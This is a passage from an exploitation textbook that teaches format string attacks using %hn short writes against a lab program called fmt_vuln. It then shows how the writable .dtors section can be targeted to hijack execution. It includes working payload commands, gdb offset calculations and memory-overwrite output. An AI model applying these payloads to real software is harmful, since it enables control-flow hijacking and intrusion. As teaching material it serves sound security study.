• Aucun résultat trouvé

0x356 Using Short Writes

Dans le document the art of exploitation Hacking (Page 196-200)

Another technique that can simplify format string exploits is using short writes. A short is typically a two-byte word, and format parameters have a special way of dealing with them. A more complete description of possible format parameters can be found in the printf manual page. The portion describing the length modifier is shown in the output below.

The length modifier

Here, integer conversion stands for d, i, o, u, x, or X conversion.

h A following integer conversion corresponds to a short int or unsigned short int argument, or a following n conversion corresponds to a pointer to a short int argument.

This can be used with format string exploits to write two-byte shorts. In the output below, a short (shown in bold) is written in at both ends of the four-byte test_val variable. Naturally, direct parameter access can still be used.

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%x%hn The right way to print user-controlled input:

??%x%x%x%hn

The wrong way to print user-controlled input:

??bffff3d0b7fe75fc0

[*] test_val @ 0x08049794 = -65515 0xffff0015

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x96\x97\x04\x08")%x%x%x%hn The right way to print user-controlled input:

??%x%x%x%hn

The wrong way to print user-controlled input:

??bffff3d0b7fe75fc0

[*] test_val @ 0x08049794 = 1441720 0x0015ffb8

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x96\x97\x04\x08")%4\$hn The right way to print user-controlled input:

??%4$hn

The wrong way to print user-controlled input:

??

[*] test_val @ 0x08049794 = 327608 0x0004ffb8 reader@hacking:~/booksrc $

Using short writes, an entire four-byte value can be overwritten with just two %hn parameters. In the example below, the test_val variable will be over-written once again with the address 0xbffffd72.

reader@hacking:~/booksrc $ gdb -q (gdb) p 0xfd72 - 8

$1 = 64874

(gdb) p 0xbfff - 0xfd72

$2 = -15731

(gdb) p 0x1bfff - 0xfd72

$3 = 49805 (gdb) quit

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08\x96\x97\x04\x08")%64874x%4\

$hn%49805x%5\$hn

The right way to print user-controlled input:

????%64874x%4$hn%49805x%5$hn

The wrong way to print user-controlled input:

b7fe75fc

[*] test_val @ 0x08049794 = -1073742478 0xbffffd72 reader@hacking:~/booksrc $

The preceding example used a similar wraparound method to deal with the second write of 0xbfff being less than the first write of 0xfd72. Using short writes, the order of the writes doesn’t matter, so the first write can be 0xfd72 and the second 0xbfff, if the two passed addresses are swapped in position.

In the output below, the address 0x08049796 is written to first, and 0x08049794 is written to second.

(gdb) p 0xbfff - 8

$1 = 49143

(gdb) p 0xfd72 - 0xbfff

$2 = 15731 (gdb) quit

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x96\x97\x04\x08\x94\x97\x04\x08")%49143x%4\

$hn%15731x%5\$hn

The right way to print user-controlled input:

????%49143x%4$hn%15731x%5$hn

The wrong way to print user-controlled input:

????

b7fe75fc

[*] test_val @ 0x08049794 = -1073742478 0xbffffd72 reader@hacking:~/booksrc $

The ability to overwrite arbitrary memory addresses implies the ability to control the execution flow of the program. One option is to overwrite the return address in the most recent stack frame, as was done with the stack-based overflows. While this is a possible option, there are other targets that have more predictable memory addresses. The nature of stack-based overflows only allows the overwrite of the return address, but format strings provide the ability to overwrite any memory address, which creates other possibilities.

0x357 Detours with .dtors

In binary programs compiled with the GNU C compiler, special table sections called .dtors and .ctors are made for destructors and constructors, respectively.

Constructor functions are executed before the main() function is executed, and destructor functions are executed just before the main() function exits with an exit system call. The destructor functions and the .dtors table section are of particular interest.

A function can be declared as a destructor function by defining the destructor attribute, as seen in dtors_sample.c.

dtors_sample.c

#include <stdio.h>

#include <stdlib.h>

static void cleanup(void) __attribute__ ((destructor));

main() {

printf("Some actions happen in the main() function..\n");

printf("and then when main() exits, the destructor is called..\n");

exit(0);

}

void cleanup(void) {

printf("In the cleanup function now..\n");

}

In the preceding code sample, the cleanup() function is defined with the destructor attribute, so the function is automatically called when the main() function exits, as shown next.

reader@hacking:~/booksrc $ gcc -o dtors_sample dtors_sample.c reader@hacking:~/booksrc $ ./dtors_sample

Some actions happen in the main() function..

and then when main() exits, the destructor is called..

In the cleanup() function now..

reader@hacking:~/booksrc $

This behavior of automatically executing a function on exit is controlled by the .dtors table section of the binary. This section is an array of 32-bit addresses terminated by a NULL address. The array always begins with 0xffffffff and ends with the NULL address of 0x00000000. Between these two are the addresses of all the functions that have been declared with the destructor attribute.

The nm command can be used to find the address of the cleanup() function, and objdump can be used to examine the sections of the binary.

reader@hacking:~/booksrc $ nm ./dtors_sample 080495bc d _DYNAMIC

08049688 d _GLOBAL_OFFSET_TABLE_

080484e4 R _IO_stdin_used w _Jv_RegisterClasses 080495a8 d __CTOR_END__

080495a4 d __CTOR_LIST__

080495b4 d __DTOR_END__

080495ac d __DTOR_LIST__

080485a0 r __FRAME_END__

080495b8 d __JCR_END__

080495b8 d __JCR_LIST__

080496b0 A __bss_start 080496a4 D __data_start

08048480 t __do_global_ctors_aux 08048340 t __do_global_dtors_aux 080496a8 D __dso_handle

w __gmon_start__

08048479 T __i686.get_pc_thunk.bx 080495a4 d __init_array_end 080495a4 d __init_array_start 08048400 T __libc_csu_fini 08048410 T __libc_csu_init

U __libc_start_main@@GLIBC_2.0 080496b0 A _edata

080496b4 A _end 080484b0 T _fini 080484e0 R _fp_hw 0804827c T _init 080482f0 T _start

08048314 t call_gmon_start 080483e8 t cleanup

080496b0 b completed.1 080496a4 W data_start U exit@@GLIBC_2.0 08048380 t frame_dummy 080483b4 T main 080496ac d p.0

U printf@@GLIBC_2.0 reader@hacking:~/booksrc $

The nm command shows that the cleanup() function is located at 0x080483e8 (shown in bold above). It also reveals that the .dtors section starts at 0x080495ac with __DTOR_LIST__ ( ) and ends at 0x080495b4 with __DTOR_END__ (). This means that 0x080495ac should contain 0xffffffff, 0x080495b4 should contain 0x00000000, and the address between them (0x080495b0) should contain the address of the cleanup() function (0x080483e8).

The objdump command shows the actual contents of the .dtors section (shown in bold below), although in a slightly confusing format. The first value of 80495ac is simply showing the address where the .dtors section is

located. Then the actual bytes are shown, opposed to DWORDs, which means the bytes are reversed. Bearing this in mind, everything appears to be correct.

reader@hacking:~/booksrc $ objdump -s -j .dtors ./dtors_sample ./dtors_sample: file format elf32-i386

Contents of section .dtors:

80495ac ffffffff e8830408 00000000 ...

reader@hacking:~/booksrc $

An interesting detail about the .dtors section is that it is writable. An object dump of the headers will verify this by showing that the .dtors section isn’t labeled READONLY.

reader@hacking:~/booksrc $ objdump -h ./dtors_sample ./dtors_sample: file format elf32-i386

Sections:

Idx Name Size VMA LMA File off Algn 0 .interp 00000013 08048114 08048114 00000114 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 1 .note.ABI-tag 00000020 08048128 08048128 00000128 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 2 .hash 0000002c 08048148 08048148 00000148 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 3 .dynsym 00000060 08048174 08048174 00000174 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 4 .dynstr 00000051 080481d4 080481d4 000001d4 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 5 .gnu.version 0000000c 08048226 08048226 00000226 2**1 CONTENTS, ALLOC, LOAD, READONLY, DATA

6 .gnu.version_r 00000020 08048234 08048234 00000234 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA

7 .rel.dyn 00000008 08048254 08048254 00000254 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 8 .rel.plt 00000020 0804825c 0804825c 0000025c 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 9 .init 00000017 0804827c 0804827c 0000027c 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 10 .plt 00000050 08048294 08048294 00000294 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 11 .text 000001c0 080482f0 080482f0 000002f0 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 12 .fini 0000001c 080484b0 080484b0 000004b0 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 13 .rodata 000000bf 080484e0 080484e0 000004e0 2**5 CONTENTS, ALLOC, LOAD, READONLY, DATA 14 .eh_frame 00000004 080485a0 080485a0 000005a0 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 15 .ctors 00000008 080495a4 080495a4 000005a4 2**2 CONTENTS, ALLOC, LOAD, DATA

Dans le document the art of exploitation Hacking (Page 196-200)